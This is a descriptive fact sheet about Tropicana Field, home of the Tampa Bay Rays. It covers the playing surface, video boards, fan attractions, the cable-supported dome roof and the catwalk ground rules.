Tropicana Field is the only Major League park to feature an artificial surface and all-dirt base paths. AstroTurf was installed prior to the 2011 season. All of the other parks that currently feature an artificial surface have only dirt cutouts around the bases and at the pitcher's mound. Only four other artificial turf ballparks have ever featured all-dirt base paths: Houston's Astrodome (1966-1971); San Francisco's Candlestick Park in 1971; Pittsburgh's Three Rivers Stadium in the early '70s; and, most recently, St. Louis' Busch Stadium (1970-1976). Chicago's Comiskey Park had all-dirt base paths with an artificial turf infield and grass outfield in the early 1970s.
In 2007, the Rays added four new video boards to Tropicana Field. The main video board in right field is 35 feet high and 64 feet wide, making it more than four times larger than the previous board. This ProStar video board from Daktronics will provide video content, highlight pitching matchups, and show pitch speeds, pitch counts, and other detailed statistical information. There is also two 10 by 50-foot strip boards below the main board which will have batter and pitcher statistics. In addition, the Rays have unveiled a new video board above the Everglades BBQ Smokehouse in center field. This board has an in-game box score and will provide statistical information in a baseball card style format. The Rays will also continue to use a matrix board in left field which has out-of-town scores and crowd-pumping images.
Tropicana Field is home to a number of interactive areas for kids of all ages. In the Left Field Street area, fans can participate in a baseball-themed game show, take their picture on a Topps baseball card, and personalize their own jersey. Left Field Street also features the Grand Slam Alley with Midway-style games. Fans can also enjoy the latest modern baseball video games in the 2k Sports Lounge.
In 2007, Right Field Street was renovated to include numerous activities for younger baseball fans. Kids can experience the magic of baseball in the Rays Baseball Carnival, a real working carnival that includes Tip-a-Jug, Ring Toss, and more. In addition, fans can take their swings against computer images of real Major League pitchers in a batting cage or test their arms in the speed pitch, both found in the Rookie Challenge. Right Field Street also features popular kids-themed areas such as Raymond's Art Studio and Raymond's Living Room.
Center Field Street features the Cuesta-Rey Bar, as well as the Everglades BBQ Smokehouse, located in center field. The specially tinted windows of the restaurant make up a 130-foot-wide hitting background, yet still allow patrons of the restaurant to watch the game. Also found on Center Field Street is the Brewhouse, The Captain Morgan Deck, the Rays Team Store, and the MLB Alumni Office.
The Ted Williams Museum and Hitters Hall-of-Fame moved to Tropicana Field in 2006 and is also located in Center Field Street. Fans can view an array of different artifacts and pictures of the "Greatest hitter that ever lived." These memorable displays range from Ted Williams' days in the military through his professional playing career. This museum is dedicated to some of the greatest players to ever "lace 'em up," including Willie Mays, Joe DiMaggio, Mickey Mantle, Roger Maris, and Sadaharu Oh.
Seats behind the backstop are some of the closest in the Major Leagues - only 50 feet from home plate.
The Papa John's Bullpen Box is located directly behind the Rays' bullpen in the right field corner and offers picnic-style seating.
Ebbets Field was an influence for Tropicana Field. The ballpark's grand, eight-story-high rotunda entrance is designed from the very blueprints used for the rotunda at Ebbets Field, built in 1913.
Tropicana Field features the world's second-largest cable-supported domed roof (Georgia Dome is the largest). It's made of six acres of translucent, Teflon-coated fiberglass and it virtually supports itself with 180 miles of cables connected by struts. Opposing forces of tension and compression keep the roof in an arc. Tropicana Field's roof is slanted at a 6.5-degree angle, dropping from 225 feet above second base to 85 feet at the center field wall. The slanted roof reduced the overall construction costs and decreased the volume of air under the dome by 16.8 million cubic feet. Accordingly, that reduced the amount of air that requires climate control treatment. It is built to withstand wind of up to 115 miles per hour. The roof of the dome is lit orange after the Rays win at home, symbolic of the ballpark's title sponsor, Tropicana Dole Beverages.
Fans can enter the rotunda by following a 900-foot, tropical-theme ceramic mosaic walkway. The walk is the largest outdoor ceramic mural in Florida and one of the five largest in the United States. Made with 1,849,091 brightly colored 1x1 inch tiles, it depicts the sun, sea and beach.
There are four catwalks located above the playing surface at Tropicana Field. They are labeled the "A", "B", "C" and "D" rings with the lowest ring the "D" ring. The "D" ring ranges from 59 feet above the playing surface in CF to 121 feet behind home plate. The "C" ring ranges from 99 feet in CF to 146 behind home plate. The "B" ring ranges from 142 feet in CF to 173 feet behind home plate. And, the "A" ring ranges from 181 feet in CF to 194 feet behind home plate. If a ball strikes the A or the B ring in fair territory, the ball is in play. If a ball strikes the C or the D ring in fair territory it is a home run.
